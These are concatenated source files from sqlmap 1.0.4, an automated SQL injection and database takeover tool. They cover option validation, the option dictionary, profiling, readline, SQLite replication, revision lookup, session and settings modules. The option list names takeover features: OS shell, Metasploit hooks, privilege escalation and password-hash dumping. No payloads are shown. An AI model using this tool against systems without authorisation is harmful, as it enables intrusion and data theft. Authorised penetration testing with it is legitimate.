SqlmapSyntaxException(errMsg) if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.regexp: try: re.compile(conf.regexp) except re.error, ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.crawlExclude: try: re.compile(conf.crawlExclude) except re.error, ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" raise SqlmapSyntaxException(errMsg) if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" raise SqlmapSyntaxException(errMsg) if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" raise SqlmapSyntaxException(errMsg) if conf.csrfUrl and not conf.csrfToken: errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.proxy: errMsg = "option '-d' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.tor: errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) if not conf.tech: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.proxyFile: errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): errMsg = "value for option '--tor-port' must be in range 0-65535" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) raise SqlmapSyntaxException(errMsg) if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: errMsg = "option '--skip' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) if isinstance(conf.uCols, basestring): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" raise SqlmapSyntaxException(errMsg) if conf.dbmsCred and ':' not in conf.dbmsCred: errMsg = "value for option '--dbms-cred' must be in " errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) if conf.charset: _ = checkCharEncoding(conf.charset, False) if _ is None: errMsg = "unknown charset '%s'. Please visit " % conf.charset errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported charsets" raise SqlmapSyntaxException(errMsg) else: conf.charset = _ if conf.loadCookies: if not os.path.exists(conf.loadCookies): errMsg = "cookies file '%s' does not exist" % conf.loadCookies raise SqlmapFilePathException(errMsg) def _resolveCrossReferences(): lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.request.connect.setHTTPHandlers = _setHTTPHandlers lib.utils.search.setHTTPHandlers = _setHTTPHandlers lib.controller.checks.setVerbosity = setVerbosity def initOptions(inputOptions=AttribDict(), overrideOptions=False): if IS_WIN: coloramainit() _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ _useWizardInterface() setVerbosity() _saveConfig() _setRequestFromFile() _cleanupOptions() _dirtyPatches() _purgeOutput() _checkDependencies() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() _setTamperingFunctions() _setWafFunctions() _setTrafficOutputFP() _resolveCrossReferences() _checkWebSocket() parseTargetUrl() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() _setHTTPReferer() _setHTTPHost() _setHTTPUserAgent() _setHTTPAuthentication() _setHTTPHandlers() _setDNSCache() _setSocketPreConnect() _setSafeVisit() _doSearch() _setBulkMultipleTargets() _setSitemapTargets() _checkTor() _setCrawler() _findPageForms() _setDBMS() _setTechnique() _setThreads() _setOS() _setWriteFile() _setMetasploit() _setDBMSAuthentication() loadBoundaries() loadPayloads() _setPrefixSuffix() update() _loadQueries() sqlmap-1.0.4/lib/core/optiondict.py000066400000000000000000000314111270044205500172340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ optDict = { # Format: # Family: { "parameter name": "parameter datatype" }, # Or: # Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") }, "Target": { "direct": "string", "url": "string", "logFile": "string", "bulkFile": "string", "requestFile": "string", "sessionFile": "string", "googleDork": "string", "configFile": "string", "sitemapUrl": "string", }, "Request": { "method": "string", "data": "string", "paramDel": "string", "cookie": "string", "cookieDel": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", "randomAgent": "boolean", "host": "string", "referer": "string", "headers": "string", "authType": "string", "authCred": "string", "authFile": "string", "proxy": "string", "proxyCred": "string", "proxyFile": "string", "ignoreProxy": "boolean", "tor": "boolean", "torPort": "integer", "torType": "string", "checkTor": "boolean", "delay": "float", "timeout": "float", "retries": "integer", "rParam": "string", "safeUrl": "string", "safePost": "string", "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "forceSSL": "boolean", "hpp": "boolean", "evalCode": "string", }, "Optimization": { "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, "Injection": { "testParameter": "string", "skip": "string", "skipStatic": "boolean", "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", "suffix": "string", "tamper": "string", }, "Detection": { "level": "integer", "risk": "integer", "string": "string", "notString": "string", "regexp": "string", "code": "integer", "textOnly": "boolean", "titles": "boolean", }, "Techniques": { "tech": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", "uFrom": "string", "dnsName": "string", "secondOrder": "string", }, "Fingerprint": { "extensiveFp": "boolean", }, "Enumeration": { "getAll": "boolean", "getBanner": ("boolean", "Banners"), "getCurrentUser": ("boolean", "Users"), "getCurrentDb": ("boolean", "Databases"), "getHostname": "boolean", "isDba": "boolean", "getUsers": ("boolean", "Users"), "getPasswordHashes": ("boolean", "Passwords"), "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), "getSchema": "boolean", "getCount": "boolean", "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", "db": "string", "tbl": "string", "col": "string", "excludeCol": "string", "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", "firstChar": "integer", "lastChar": "integer", "query": "string", "sqlShell": "boolean", "sqlFile": "string", }, "Brute": { "commonTables": "boolean", "commonColumns": "boolean", }, "User-defined function": { "udfInject": "boolean", "shLib": "string", }, "File system": { "rFile": "string", "wFile": "string", "dFile": "string", }, "Takeover": { "osCmd": "string", "osShell": "boolean", "osPwn": "boolean", "osSmb": "boolean", "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", "tmpPath": "string", }, "Windows": { "regRead": "boolean", "regAdd": "boolean", "regDel": "boolean", "regKey": "string", "regVal": "string", "regData": "string", "regType": "string", }, "General": { #"xmlFile": "string", "trafficFile": "string", "batch": "boolean", "charset": "string", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", "dumpFormat": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", "pivotColumn": "string", "saveConfig": "string", "scope": "string", "testFilter": "string", "testSkip": "string", "updateAll": "boolean", }, "Miscellaneous": { "alert": "string", "answers": "string", "beep": "boolean", "cleanup": "boolean", "dependencies": "boolean", "disableColoring": "boolean", "googlePage": "integer", "mobile": "boolean", "offline": "boolean", "pageRank": "boolean", "purgeOutput": "boolean", "smart": "boolean", "wizard": "boolean", "verbose": "integer", }, "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", "binaryFields": "string", "profile": "boolean", "cpuThrottle": "integer", "forceDns": "boolean", "identifyWaf": "boolean", "skipWaf": "boolean", "ignore401": "boolean", "smokeTest": "boolean", "liveTest": "boolean", "stopFail": "boolean", "runCase": "string", } } sqlmap-1.0.4/lib/core/profiling.py000066400000000000000000000056271270044205500170630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import os import cProfile from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths from lib.core.settings import UNICODE_ENCODING def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ try: from thirdparty.gprof2dot import gprof2dot from thirdparty.xdot import xdot import gobject import gtk import pydot except ImportError, e: errMsg = "profiling requires third-party libraries ('%s') " % getUnicode(e, UNICODE_ENCODING) errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) return if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") if dotOutputFile is None: dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") if imageOutputFile is None: imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") if os.path.exists(profileOutputFile): os.remove(profileOutputFile) if os.path.exists(dotOutputFile): os.remove(dotOutputFile) if os.path.exists(imageOutputFile): os.remove(imageOutputFile) infoMsg = "profiling the execution into file %s" % profileOutputFile logger.info(infoMsg) # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile logger.info(infoMsg) # Create dot file by using extra/gprof2dot/gprof2dot.py # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) parser = gprof2dot.PstatsParser(profileOutputFile) profile = parser.parse() profile.prune(0.5 / 100.0, 0.1 / 100.0) dot = gprof2dot.DotWriter(dotFilePointer) dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) dotFilePointer.close() infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile logger.info(infoMsg) # Create graph image (png) by using pydot (python-pydot) # http://code.google.com/p/pydot/ pydotGraph = pydot.graph_from_dot_file(dotOutputFile) pydotGraph.write_png(imageOutputFile) infoMsg = "displaying interactive graph with xdot library" logger.info(infoMsg) # Display interactive Graphviz dot file by using extra/xdot/xdot.py # http://code.google.com/p/jrfonseca/wiki/XDot win = xdot.DotWindow() win.connect('destroy', gtk.main_quit) win.set_filter("dot") win.open_file(dotOutputFile) gtk.main() sqlmap-1.0.4/lib/core/readlineng.py000066400000000000000000000034721270044205500171760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM _readline = None try: from readline import * import readline as _readline except ImportError: try: from pyreadline import * import pyreadline as _readline except ImportError: pass if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() except AttributeError: debugMsg = "Failed GetOutputFile when using platform's " debugMsg += "readline library" logger.debug(debugMsg) _readline = None # Test to see if libedit is being used instead of GNU readline. # Thanks to Boyd Waters for this patch. uses_libedit = False if PLATFORM == 'mac' and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard _readline.parse_and_bind("bind ^I rl_complete") debugMsg = "Leopard libedit detected when using platform's " debugMsg += "readline library" logger.debug(debugMsg) uses_libedit = True # the clear_history() function was only introduced in Python 2.4 and is # actually optional in the readline API, so we must explicitly check for its # existence. Some known platforms actually don't have it. This thread: # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: try: _readline.clear_history() except AttributeError: def clear_history(): pass _readline.clear_history = clear_history sqlmap-1.0.4/lib/core/replication.py000066400000000000000000000106241270044205500173740ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import sqlite3 from extra.safe2bin.safe2bin import safechardecode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING class Replication(object): """ This class holds all methods/classes used for database replication purposes. """ def __init__(self, dbpath): self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() class DataType: """ Using this class we define auxiliary objects used for representing sqlite data types. """ def __init__(self, name): self.name = name def __str__(self): return self.name def __repr__(self): return "" % self class Table: """ This class defines methods used to manipulate table objects. """ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent self.name = unsafeSQLIdentificatorNaming(name) self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) except Exception, ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) def insert(self, values): """ This function is used for inserting row(s) into current table. """ if len(values) == len(self.columns): self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) def execute(self, sql, parameters=[]): try: self.parent.cursor.execute(sql, parameters) except sqlite3.OperationalError, ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) def beginTransaction(self): """ Great speed improvement can be gained by using explicit transactions around multiple inserts. Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows """ self.execute('BEGIN TRANSACTION') def endTransaction(self): self.execute('END TRANSACTION') def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ _ = 'SELECT * FROM %s' % self.name if condition: _ += 'WHERE %s' % condition return self.execute(_) def createTable(self, tblname, columns=None, typeless=False): """ This function creates Table instance with current connection settings. """ return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): self.cursor.close() self.connection.close() # sqlite data types NULL = DataType('NULL') INTEGER = DataType('INTEGER') REAL = DataType('REAL') TEXT = DataType('TEXT') BLOB = DataType('BLOB') sqlmap-1.0.4/lib/core/revision.py000066400000000000000000000030331270044205500167150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from subprocess import PIPE from subprocess import Popen as execute def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" """ retVal = None filePath = None _ = os.path.dirname(__file__) while True: filePath = os.path.join(_, ".git", "HEAD") if os.path.exists(filePath): break else: filePath = None if _ == os.path.dirname(_): break else: _ = os.path.dirname(_) while True: if filePath and os.path.isfile(filePath): with open(filePath, "r") as f: content = f.read() filePath = None if content.startswith("ref: "): filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() else: match = re.match(r"(?i)[0-9a-f]{32}", content) retVal = match.group(0) if match else None break else: break if not retVal: process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") retVal = match.group(0) if match else None return retVal[:7] if retVal else None sqlmap-1.0.4/lib/core/session.py000066400000000000000000000036011270044205500165430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ hashDBWrite(HASHDB_KEYS.DBMS, dbms) _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) hashDBWrite(HASHDB_KEYS.OS, Backend.getOs()) sqlmap-1.0.4/lib/core/settings.py000066400000000000000000000740771270044205500167370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re import subprocess import string import sys import time import types from lib.core.datatype import AttribDict from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from lib.core.revision import getRevisionNumber # sqlmap version (...) VERSION = "1.0.4.0" REVISION = getRevisionNumber() STABLE = VERSION.count('.') <= 2 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev") DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" # colorful banner BANNER = """\033[01;33m _ ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| \033[0m\033[4;37m%s\033[0m\n """ % ((31 + hash(VERSION) % 6) if not STABLE else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IDS/IPS protected targets IDS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IDS/IPS protected targets IDS_WAF_CHECK_TIMEOUT = 10 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"max.+connections" # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r'"u":"([^"]+)' # Regular expression used for extracting results from Disconnect Search DISCONNECT_SEARCH_REGEX = r'

([^<]+)

' # Dummy user agent for search (if default one returns different results) DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0" # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" # Regular expression used for recognition of generic "your ip has been blocked" messages BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' CONCAT_VALUE_DELIMITER = '|' # Coefficient used for a time-based query delay checking (must be >= 7) TIME_STDEV_COEFF = 7 # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 # Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 # Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 # Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 # Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" # Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) INFERENCE_BLANK_BREAK = 10 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" # String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity mark length used in dynamicity removal engine DYNAMICITY_MARK_LENGTH = 32 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" # System variables IS_WIN = subprocess.mswindows # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast") ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ "MSysAccessXML", "MSysModules", "MSysModules2") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\ "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\ "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\ "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ "RDB$TRIGGER_MESSAGES", "RDB$TYPES", 